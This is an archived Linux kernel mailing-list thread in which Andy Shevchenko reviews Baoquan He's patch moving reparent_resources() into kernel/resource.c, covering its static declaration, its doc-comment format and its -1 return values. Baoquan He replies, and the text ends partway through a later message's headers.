Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSedg-0001Go-6y
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 10:26:52 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 2DAAB211E3E14;
	Tue, 12 Jun 2018 01:29:03 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=2607:f8b0:400c:c08::241; helo=mail-ua0-x241.google.com;
 envelope-from=andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail-ua0-x241.google.com (mail-ua0-x241.google.com
 [IPv6:2607:f8b0:400c:c08::241])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 7E98221157FE4
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 01:29:02 -0700 (PDT)
Original-Received: by mail-ua0-x241.google.com with SMTP id 74-v6so15404228uav.1
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 01:29:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=xoZtTk+ePrQ5pkemtIihE1zC8iN29110W9YqB6FMeMM=;
 b=OhKvS3urUSRE0Wx3M+zD27ZEbEhBLsEDzF8EkJ9RJlBcFNfY+b8SOKEnIKCi8eza6w
 gofCdCyLuNFeSOCBTvtNN847SBNPhi9+AkDpAc2zXFHxoraAFOLT2z9CdinMNjL0eZhw
 K1RsqUgctkG5t8dIiSoVNP8MuXUzKn2CcsFXsn5MlFQhRhJ19k0gtgdSGIfDtce6TnX7
 Io9rI5eQG0c0bIfNj/02Q10voMZ6mL3KaLop3VaYn2HwVG3l4OV179dN6Jc/yflxOFvO
 LLRzcDLeTTqqff6b9O3n/Q87L1HTvHgrlkcf1xHFBF61I861VSL4a/o67ikWFK9y6g0u
 ebsw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=xoZtTk+ePrQ5pkemtIihE1zC8iN29110W9YqB6FMeMM=;
 b=EkgigMFKNswHrJB1OXt8NuJMuqwfMfBAV6GrvxLfCluR9y8PbzAqN2SBbuDJEYpnDY
 pnMQ+hO3lO/Rcs1qi8ycPVbWSHu9UQ82f8tKD5Wbmr6mydJ0xfVQMSsgqYLUDYIUZ35H
 Lc7atn4neRXH52Kz+jqwT/+1EqpqlyjNh5MDXBbtkTD/9+6mgBgbHO+/EEIq4DMvlJl0
 9EpW0rkcJxvmgIuxFDzzrhzBAV34DISakKNfETI3cLQo+l/WIlTWC6TX1pHlotG4+dYF
 WxI+9maSA6GRR6HjBnPDHb7H5pszNTzMQA09orrFiZnb271BdgkTlFHy+ToGTMHbF+nf
 1mtw==
X-Gm-Message-State: APt69E2yOmS+ODCTOr4+ZORoifMeyxs14MxzUPOxzUuc2RaJ00G7QoN0
 VoDozcmeCw9OZalovtfHC96f2aE2/5y3DKKus4A=
X-Google-Smtp-Source: ADUXVKJvM5TE6kLKuHwWR5SKNjOXwsq9LtL7v3YLH32L6rVG3fLsq4AdkTTlTEXjkBNbH+QwaErVH3DpgXDgpEIsO/w=
X-Received: by 2002:ab0:1a23:: with SMTP id
 a35-v6mr1659123uai.47.1528792140903; 
 Tue, 12 Jun 2018 01:29:00 -0700 (PDT)
Original-Received: by 2002:a67:8b02:0:0:0:0:0 with HTTP; Tue, 12 Jun 2018 01:29:00
 -0700 (PDT)
In-Reply-To: <20180612032831.29747-2-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10304 gmane.linux.drivers.devicetree:274358 gmane.linux.kernel.pci:73198 gmane.linux.kernel.input:61529 gmane.linux.ports.parisc:28686 gmane.linux.kernel.kexec:20878 gmane.linux.kernel:2792155 gmane.linux.ports.ppc64.devel:158736
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10304>

On Tue, Jun 12, 2018 at 6:28 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> so that it's shared. Later its code also need be updated using list_head
> to replace singly linked list.

While this is a good deduplication of the code, some requirements for
public functions would be good to satisfy.

> +/*
> + * Reparent resource children of pr that conflict with res
> + * under res, and make res replace those children.
> + */

kernel doc format, though...

> +static int reparent_resources(struct resource *parent,
> +                                    struct resource *res)

...is it really public with static keyword?!



> +{

> +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> +               if (p->end < res->start)
> +                       continue;
> +               if (res->end < p->start)
> +                       break;

> +               if (p->start < res->start || p->end > res->end)
> +                       return -1;      /* not completely contained */

Usually we are expecting real eeror codes.

> +               if (firstpp == NULL)
> +                       firstpp = pp;
> +       }

> +       if (firstpp == NULL)
> +               return -1;      /* didn't find any conflicting entries? */

Ditto.

> +}
> +EXPORT_SYMBOL(reparent_resources);

-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 17:38:12 +0800
Lines: 65
Approved: news@gmane.org
Message-ID: <20180612093812.GC1820@MiWiFi-R3L-srv>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528796183 10474 195.159.176.226 (12 Jun 2018 09:36:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 09:36:23 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Keith Busch <keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1561eoWH0uzbU5w@public.gmane.org
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 11:36:14 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSfim-0002WQ-5P
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 11:36:12 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 1F8F3211D4D79;
	Tue, 12 Jun 2018 02:38:23 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 8D56C211D4D68
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 02:38:21 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 58530401EF24;
 Tue, 12 Jun 2018 09:38:20 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 8856E111CBA3;
 Tue, 12 Jun 2018 09:38:15 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.5]); Tue, 12 Jun 2018 09:38:20 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
 Tue, 12 Jun 2018 09:38:20 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10305 gmane.linux.drivers.devicetree:274366 gmane.linux.kernel.pci:73204 gmane.linux.kernel.input:61530 gmane.linux.ports.parisc:28687 gmane.linux.kernel.kexec:20879 gmane.linux.kernel:2792211 gmane.linux.ports.ppc64.devel:158741
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10305>

On 06/12/18 at 11:29am, Andy Shevchenko wrote:
> On Tue, Jun 12, 2018 at 6:28 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> > and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> > so that it's shared. Later its code also need be updated using list_head
> > to replace singly linked list.
> 
> While this is a good deduplication of the code, some requirements for
> public functions would be good to satisfy.
> 
> > +/*
> > + * Reparent resource children of pr that conflict with res
> > + * under res, and make res replace those children.
> > + */
> 
> kernel doc format, though...

> 
> > +static int reparent_resources(struct resource *parent,
> > +                                    struct resource *res)
> 
> ...is it really public with static keyword?!

Thanks for looking into this. This is a code bug, I copied and changed,
but forgot merging the changing to local commit. And the error reported
by test robot in patch 2 was changed too locally, forgot merging it to
patch. Will repost to address this.

> 
> 
> 
> > +{
> 
> > +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> > +               if (p->end < res->start)
> > +                       continue;
> > +               if (res->end < p->start)
> > +                       break;
> 
> > +               if (p->start < res->start || p->end > res->end)
> > +                       return -1;      /* not completely contained */
> 
> Usually we are expecting real eeror codes.

Hmm, I just copied it from arch/powerpc/kernel/pci-common.c. The
function interface expects an integer returned value, not sure what a
real error codes look like, could you give more hints? Will change
accordingly.

> 
> > +               if (firstpp == NULL)
> > +                       firstpp = pp;
> > +       }
> 
> > +       if (firstpp == NULL)
> > +               return -1;      /* didn't find any conflicting entries? */
> 
> Ditto.
> 
> > +}
> > +EXPORT_SYMBOL(reparent_resources);
> 
> -- 
> With Best Regards,
> Andy Shevchenko

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 17:49:23 +0800
Lines: 55
Approved: news@gmane.org
Message-ID: <20180612094923.GD1820@MiWiFi-R3L-srv>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528796850 22850 195.159.176.226 (12 Jun 2018 09:47:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 09:47:30 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Keith Busch <keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1561eoWH0uzbU5w@public.gmane.org
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 11:47:22 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSftZ-0005iv-RA
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 11:47:22 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id A8763211DDA0A;
	Tue, 12 Jun 2018 02:49:32 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 14C72211D2E5C
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 12 Jun 2018 02:49:30 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.rdu2.redhat.com
 [10.11.54.5])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 991CC402A5A5;
 Tue, 12 Jun 2018 09:49:29 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id DFFB010194;
 Tue, 12 Jun 2018 09:49:25 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.79 on 10.11.54.5
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Tue, 12 Jun 2018 09:49:29 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Tue, 12 Jun 2018 09:49:29 +0000 (UTC) for IP:'10.11.54.5'
 DOMAIN:'int-mx05.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10306 gmane.linux.drivers.devicetree:274367 gmane.linux.kernel.pci:73205 gmane.linux.kernel.input:61531 gmane.linux.ports.parisc:28688 gmane.linux.kernel.kexec:20880 gmane.linux.kernel:2792213 gmane.linux.ports.ppc64.devel:158743
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10306>

On 06/12/18 at 11:29am, Andy Shevchenko wrote:
> On Tue, Jun 12, 2018 at 6:28 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> > and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> > so that it's shared. Later its code also need be updated using list_head
> > to replace singly linked list.
> 
> While this is a good deduplication of the code, some requirements for
> public functions would be good to satisfy.
> 
> > +/*
> > + * Reparent resource children of pr that conflict with res
> > + * under res, and make res replace those children.
> > + */
> 
> kernel doc format, though...

Will rewrite it, thanks.

> 
> > +static int reparent_resources(struct resource *parent,
> > +                                    struct resource *res)
> 
> ...is it really public with static keyword?!
> 
> 
> 
> > +{
> 
> > +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> > +               if (p->end < res->start)
> > +                       continue;
> > +               if (res->end < p->start)
> > +                       break;
> 
> > +               if (p->start < res->start || p->end > res->end)
> > +                       return -1;      /* not completely contained */
> 
> Usually we are expecting real eeror codes.
> 
> > +               if (firstpp == NULL)
> > +                       firstpp = pp;
> > +       }
> 
> > +       if (firstpp == NULL)
> > +               return -1;      /* didn't find any conflicting entries? */
> 
> Ditto.
> 
> > +}
> > +EXPORT_SYMBOL(reparent_resources);
> 
> -- 
> With Best Regards,
> Andy Shevchenko

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 17:20:07 +0300
Lines: 50
Approved: news@gmane.org
Message-ID: <CAHp75Vf_kBLkE6v=JyOdfNoWktWEfKs7JzRP1XEc4TeuT5xqfw@mail.gmail.com>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
 <20180612093812.GC1820@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528813092 28425 195.159.176.226 (12 Jun 2018 14:18:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 14:18:12 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Keith Busch <keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
